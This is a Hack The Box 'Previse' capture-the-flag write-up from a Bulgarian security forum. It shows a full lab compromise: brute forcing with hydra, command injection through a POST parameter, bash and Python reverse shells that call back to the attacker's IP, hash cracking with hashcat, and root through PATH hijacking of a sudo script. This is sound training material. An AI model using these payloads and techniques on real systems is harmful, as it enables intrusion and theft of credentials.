Преминете към съдържанието

МЕУ организира кампания за пентестове в държавната администрация

Целта на кампанията е да подобри киберсигурността в държавната администрация, като участието в нея е доброволно и не се обвързва с възнаграждение.
Прочети повече за програмата

Добре дошли в Хакинг.БГ! 

Всеки един от нас стои на раменете на гигантите, споделили знанията и опита си с нас.

Този форум е нашият начин да върнем жеста за бъдещите и текущите кадри в киберсигурността.

Стремим се да предоставим платформа, където членовете могат да развиват своите умения, като се дава приоритет на етиката, сигурността и поверителността!

  • HTB - WriteUps

Previse


h3xu

267 views

# Enumeration
#### NMAP

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 53:ed:44:40:11:6e:8b:da:69:85:79:c0:81:f2:3a:12 (RSA)
|   256 bc:54:20:ac:17:23:bb:50:20:f4:e1:6e:62:0f:01:b5 (ECDSA)
|_  256 33:c1:89:ea:59:73:b1:78:84:38:a4:21:10:0c:91:d8 (ED25519)
80/tcp open  http    Apache httpd 2.4.29 ((Ubuntu))
|_http-favicon: Unknown favicon MD5: B21DD667DF8D81CAE6DD1374DD548004
| http-title: Previse Login
|_Requested resource was login.php
| http-cookie-flags: 
|   /: 
|     PHPSESSID: 
|_      httponly flag not set
| http-methods: 
|_  Supported Methods: GET HEAD POST OPTIONS
|_http-server-header: Apache/2.4.29 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

#### Dirbuster on port 80
![[HackTheBox Notes/Linux/Previse/dirbuster.PNG]]

The discovery of the found directories allowed me to analise the said directories in burp.

#### BurpSuite:
Account creation page:
![[acc creation.PNG]]

Let's try to create one.  It says I need to provide a username, even though such is provided. Perhaps I have to change something...
![[acc creation 1x.PNG]]

Files on previse.htb. Discovered a siteBackup.zip file and a username "newguy".
![[files.PNG]]

Additionally download.php allows us to download files but also, we see that there is a possibility for a LFI in "?file=" .

Tried downloading the file with no success through the use of *curl*.

In the status file we can see that there is 1 administrator account and 1 file (probably the zip backup file). Additionally, mysql is online and connected - I have to investigate that as well. Tried connecting to it and got an error because I have to be locally on to the machine in order to be able to connect to the database: "ERROR 2002 (HY000): Can't connect to MySQL server on '10.10.11.104' (115)"
![[status.PNG]]


#### Hydra on login.php
I have found a username, perhaps I could try to bruteforce it with hydra. The bruteforce was unsuccessful, no password was found.
 

┌──(root💀kali)-[~]
└─# hydra -l newguy -P /usr/share/wordlists/rockyou.txt 10.10.11.104 http-post-form "/login.php:username=newguy&password=^PASS^:Invalid Username or Password"                                                                          255 ⨯
Hydra v9.1 (c) 2020 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2021-11-16 10:04:13
[DATA] max 16 tasks per 1 server, overall 16 tasks, 14344399 login tries (l:1/p:14344399), ~896525 tries per task
[DATA] attacking http-post-form://10.10.11.104:80/login.php:username=newguy&password=^PASS^:Invalid Username or Password
[STATUS] 2205.00 tries/min, 2205 tries in 00:01h, 14342194 to do in 108:25h, 16 active

#### Recuperate, rethink, adapt
At this point I had to rethink what I am doing as I was stuck on foothold for quite a while. Decided to go back on account creation and try to modify the POST request body.
Finally, I was able to create a new account:
![[acc creation 2x.PNG]]


#### Backup Zip
At this point, I logged in as the *test123* user we created and downloaded the *backup.zip* file.

The zip contained the following files:

┌──(root💀kali)-[~/Downloads/siteBackup]
└─# ls
accounts.php  config.php  download.php  file_logs.php  files.php  footer.php  header.php  index.php  login.php  logout.php  logs.php  nav.php  status.php


Analyzing them 1 by 1, I found mysql credentials in *config.php*. This I will be using once I get a foothold onto the machine.

┌──(root💀kali)-[~/Downloads/siteBackup]
└─# cat config.php  
<?php

function connectDB(){
    $host = 'localhost';
    $user = 'root';
    $passwd = 'mySQL_p@ssw0rd!:)';
    $db = 'previse';
    $mycon = new mysqli($host, $user, $passwd, $db);
    return $mycon;
}

?>

Tried sshing with the same credentials but got wrong password. I kept enumerating.```bash
 

┌──(root💀kali)-[~/Downloads/siteBackup]
└─# cat logs.php 
<?php
session_start();
if (!isset($_SESSION['user'])) {
    header('Location: login.php');
    exit;
}
?>

<?php
if (!$_SERVER['REQUEST_METHOD'] == 'POST') {
    header('Location: login.php');
    exit;
}

/////////////////////////////////////////////////////////////////////////////////////
//I tried really hard to parse the log delims in PHP, but python was SO MUCH EASIER//
/////////////////////////////////////////////////////////////////////////////////////

$output = exec("/usr/bin/python /opt/scripts/log_process.py {$_POST['delim']}");
echo $output;

$filepath = "/var/www/out.log";
$filename = "out.log";    

if(file_exists($filepath)) {
    header('Content-Description: File Transfer');
    header('Content-Type: application/octet-stream');
    header('Content-Disposition: attachment; filename="'.basename($filepath).'"');
    header('Expires: 0');
    header('Cache-Control: must-revalidate');
    header('Pragma: public');
    header('Content-Length: ' . filesize($filepath));
    ob_clean(); // Discard data in the output buffer
    flush(); // Flush system headers
    readfile($filepath);
    die();
} else {
    http_response_code(404);
    die();
} 
?>

The code is vulnerable! Within the line ```$output = exec("/usr/bin/python /opt/scripts/log_process.py {$_POST['delim']}");
echo $output;``` we see that it uses system commands and reflects them back. The delim variable is injectable so we could use it to invoke a reverse shell.

# Foothold
![[HackTheBox Notes/Linux/Previse/reverse.PNG]]

In the above code, I have used the & operand to concatenate another system command *curl* to curl my reverse shell file which I am hosting with a python script and pipe the script to bash therefore I should get a reverse shell.

1. Create your reverse shell file:
 

┌──(root💀kali)-[~/php-reverse-shell]
└─# nano revshell.sh
#!/bin/bash
bash -i >& /dev/tcp/YOUR IP/1234 0>&1


 

┌──(root💀kali)-[~/php-reverse-shell]
└─# chmod u+x revshell.sh


2.  Host the reverse shell script:
 

┌──(root💀kali)-[~/php-reverse-shell]
└─# python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...


3. Open a netcat listener to catch the connection (also don't forget to edit the php-reverse-shell file to point to your IP address and specify a port as well)

┌──(root💀kali)-[~/Downloads/siteBackup]
└─# nc -nvlp 1234                                                                                                                                                                                                                     130 ⨯
listening on [any] 1234 ...


4. Make the call by sending the requerst from burp and catch the connection
 

┌──(root💀kali)-[~/php-reverse-shell]
└─# nc -nvlp 1234   
listening on [any] 1234 ...
connect to [10.10.14.7] from (UNKNOWN) [10.10.11.104] 51000
bash: cannot set terminal process group (1494): Inappropriate ioctl for device
bash: no job control in this shell
www-data@previse:/var/www/html$ 

#### Stabilise your shell
 

www-data@previse:/var/www/html$ python -c 'import pty;pty.spawn("/bin/bash")'
python -c 'import pty;pty.spawn("/bin/bash")'
www-data@previse:/var/www/html$ export TERM=xterm
export TERM=xterm
www-data@previse:/var/www/html$ ^Z
zsh: suspended  nc -nvlp 1234
                                                                                                                                                                                                                                             
┌──(root💀kali)-[~/php-reverse-shell]
└─# stty raw -echo; fg                                                                                                                                                                                                             148 ⨯ 1 ⚙
[1]  + continued  nc -nvlp 1234

www-data@previse:/var/www/html$ 

#### Privilege Escalation

Now that I can use the terminal without constrains, I will enumerate the local directories before proceeding to mysql. Usually, we use oneliners but I have found that it is normally better to manually go through the initial folders within /var/www/html up until /var/ and if you don't find anything proceed to automatic enumeration with *find* and other privesc tools. In this case tho, my curiousity led me to check /opt as well since it is where user files could be located as well.

www-data@previse:/var/www/html$ cd ..
www-data@previse:/var/www$ ls
file_access.log  html  out.log
www-data@previse:/var/www$ cd ..
www-data@previse:/var$ ls
backups  crash  local  log   opt  snap   tmp
cache    lib    lock   mail  run  spool  www
www-data@previse:/var$ cd tmp
www-data@previse:/var/tmp$ ls
www-data@previse:/var/tmp$ cd ..
www-data@previse:/var$ cd /opt
www-data@previse:/opt$ ls
scripts
www-data@previse:/opt$ cd scripts
www-data@previse:/opt/scripts$ ls
access_backup.sh  log_process.py
www-data@previse:/opt/scripts$ file access_backup.sh 
access_backup.sh: Bourne-Again shell script, ASCII text executable
www-data@previse:/opt/scripts$ cat access_backup.sh 
#!/bin/bash

# We always make sure to store logs, we take security SERIOUSLY here

# I know I shouldnt run this as root but I cant figure it out programmatically on my account
# This is configured to run with cron, added to sudo so I can run as needed - we'll fix it later when there's time

gzip -c /var/log/apache2/access.log > /var/backups/$(date --date="yesterday" +%Y%b%d)_access.gz
gzip -c /var/www/file_access.log > /var/backups/$(date --date="yesterday" +%Y%b%d)_file_access.gz
www-data@previse:/opt/scripts$ ls -la
total 16
drwxr-xr-x 2 root     root     4096 Jul 26 18:41 .
drwxr-xr-x 3 root     root     4096 Jul 26 18:41 ..
-rwxr-xr-x 1 root     root      486 Jun  6 12:49 access_backup.sh
-rw-r--r-- 1 m4lwhere m4lwhere  320 Jun  6 12:25 log_process.py
www-data@previse:/opt/scripts$ 


 

We have found a script called "access_backup.sh" that is owned by root and uses gzip to convert some files that serve another script we used previously on the website. We can also execute the script which will enable us to probably escalate through it later on.
 

www-data@previse:/opt/scripts$ mysql -u root -p -D previse
Enter password: 

mysql> SHOW databases
    -> ;
+--------------------+
| Database           |
+--------------------+
| information_schema |
| mysql              |
| performance_schema |
| previse            |
| sys                |
+--------------------+

mysql> use previse
Database changed

mysql> SHOW tables;
+-------------------+
| Tables_in_previse |
+-------------------+
| accounts          |
| files             |
+-------------------+
2 rows in set (0.00 sec)

mysql> SELECT * from accounts;
+----+----------+------------------------------------+---------------------+
| id | username | password                           | created_at          |
+----+----------+------------------------------------+---------------------+
|  1 | m4lwhere | $1$🧂llol$DQpmdvnb7EeuO6UaqRItf. | 2021-05-27 18:18:36 |
|  2 | test123  | $1$🧂llol$sP8qi2I.K6urjPuzdGizl1 | 2021-11-17 09:12:13 |
+----+----------+------------------------------------+---------------------+
2 rows in set (0.00 sec)

We have gotten a password hash of the user m4lwhere. Now I have to crack it on my local kali. We see it starts with '$1$'  , investigating it with hashcat we see it corresponds to UNIX OS md5crypt:

![[md5.PNG]]

The above screenshot about the help menu of hashcat provides us with an example for the usage of hashcat as well.
 

┌──(root💀kali)-[~]
└─# echo '$1$🧂llol$DQpmdvnb7EeuO6UaqRItf.' > to-crack.hash

┌──(root💀kali)-[~]
└─# hashcat -a 0 -m 500 to-crack.hash /usr/share/wordlists/rockyou.txt                                                                                                                                                                  3 ⨯
hashcat (v6.1.1) starting...

<snipped strings>

[s]tatus [p]ause [b]ypass [c]heckpoint [q]uit => s

Session..........: hashcat
Status...........: Running
Hash.Name........: md5crypt, MD5 (Unix), Cisco-IOS $1$ (MD5)
Hash.Target......: $1$🧂llol$DQpmdvnb7EeuO6UaqRItf.
Time.Started.....: Wed Nov 17 05:28:25 2021 (8 secs)
Time.Estimated...: Wed Nov 17 05:43:09 2021 (14 mins, 36 secs)
Guess.Base.......: File (/usr/share/wordlists/rockyou.txt)
Guess.Queue......: 1/1 (100.00%)
Speed.#1.........:    16236 H/s (7.22ms) @ Accel:64 Loops:500 Thr:1 Vec:8
Recovered........: 0/1 (0.00%) Digests
Progress.........: 118016/14344385 (0.82%)
Rejected.........: 0/118016 (0.00%)
Restore.Point....: 118016/14344385 (0.82%)
Restore.Sub.#1...: Salt:0 Amplifier:0-1 Iteration:500-1000
Candidates.#1....: ester1 -> death7

Time.Estimated...: 14 mins, 36 secs  -  Time for some Asmonbald videos to kill some time watching him complaining about Activision killing his favorite game.
 

$1$🧂llol$DQpmdvnb7EeuO6UaqRItf.:ilovecody112235!
                                                 
Session..........: hashcat
Status...........: Cracked

Now that we have the user flag, it is time to proceed to rooting the machine. I have used *find* to look for SETUID files. **Always** check for user owned files and commands that the user may run on the machine with *sudo -l*. 
 

m4lwhere@previse:~$ find / -perm -u=s -type f 2>/dev/null
/usr/bin/newgidmap
/usr/bin/chfn
/usr/bin/pkexec
/usr/bin/newuidmap
/usr/bin/gpasswd
/usr/bin/traceroute6.iputils
/usr/bin/sudo
/usr/bin/newgrp
/usr/bin/chsh
/usr/bin/passwd
/usr/bin/at
/usr/lib/eject/dmcrypt-get-device
/usr/lib/policykit-1/polkit-agent-helper-1
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/usr/lib/openssh/ssh-keysign
/usr/lib/snapd/snap-confine
/usr/lib/x86_64-linux-gnu/lxc/lxc-user-nic
/bin/su
/bin/fusermount
/bin/umount
/bin/mount
/bin/ping

m4lwhere@previse:~$ sudo -l
[sudo] password for m4lwhere: 
User m4lwhere may run the following commands on previse:
    (root) /opt/scripts/access_backup.sh

As expected, from our previous enumeration, we see the access_backup.sh and we are now 100% sure this is de wei to root.
 

www-data@previse:/opt/scripts$ cat access_backup.sh 
#!/bin/bash

# We always make sure to store logs, we take security SERIOUSLY here

# I know I shouldnt run this as root but I cant figure it out programmatically on my account
# This is configured to run with cron, added to sudo so I can run as needed - we'll fix it later when there's time

gzip -c /var/log/apache2/access.log > /var/backups/$(date --date="yesterday" +%Y%b%d)_access.gz
gzip -c /var/www/file_access.log > /var/backups/$(date --date="yesterday" +%Y%b%d)_file_access.gz

1. Path poison attempt 1 - partially unsuccessful. I got root, but I could not make almost any system commands. I thought I broke the PATH variable. I also tried specifying the absolute path like /bin/ls but it did not work.

m4lwhere@previse:/tmp$ echo "/bin/bash" > gzip
m4lwhere@previse:/tmp$ chmod 777 gzip
m4lwhere@previse:/tmp$ echo $PATH
/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/games:/usr/local/games:/snap/bin
m4lwhere@previse:/tmp$ export PATH=/tmp:$PATH
m4lwhere@previse:/tmp$ cd /opt/scripts/
m4lwhere@previse:/opt/scripts$ ls
access_backup.sh  log_process.py
m4lwhere@previse:/opt/scripts$ sudo ./access_backup.sh 
root@previse:/opt/scripts# whoami
root@previse:/opt/scripts# id
root@previse:/opt/scripts# cd ..
root@previse:/opt# cd
root@previse:~# /bin/ls
root@previse:~# echo $PATH



2. Path poison attempt 2
- Cleared the content of gzip and inserted this instead: 
`python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.10.10(CHANGE THIS to your ip)",8000));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'` I usually find this to be really useful website when it comes to reverse shells: https://sentrywhale.com/documentation/reverse-shell
- Listen for a connection on port 8000 with a netcat listener:

┌──(root💀kali)-[~]
└─# nc -nvlp 8000                                                                                                                                                                                                                       1 ⨯
listening on [any] 8000 ...
connect to [10.10.14.7] from (UNKNOWN) [10.10.11.104] 53964
# id
uid=0(root) gid=0(root) groups=0(root)


 

0 Comments


Recommended Comments

Няма коментари

HACKING.BG Партньори

Asset3.png.df693f7661f6e8a7a3ec208659eda80b.pngtransparent1.png.c15979e1dc997cdd3a9941e342368a9b.png2.png.3e2592eadc660ecc831f1fdd569e8eb4.png600_489534840.png.72981fb02b90f1986dd7ade4d561e6d0.pngcyberclub-logo-text.png.6e9d11752e2eade43d40337d83365e48.png

×
×
  • Създай ново...

Важна информация!

Политика за сигурност и условия на ползване Privacy Policy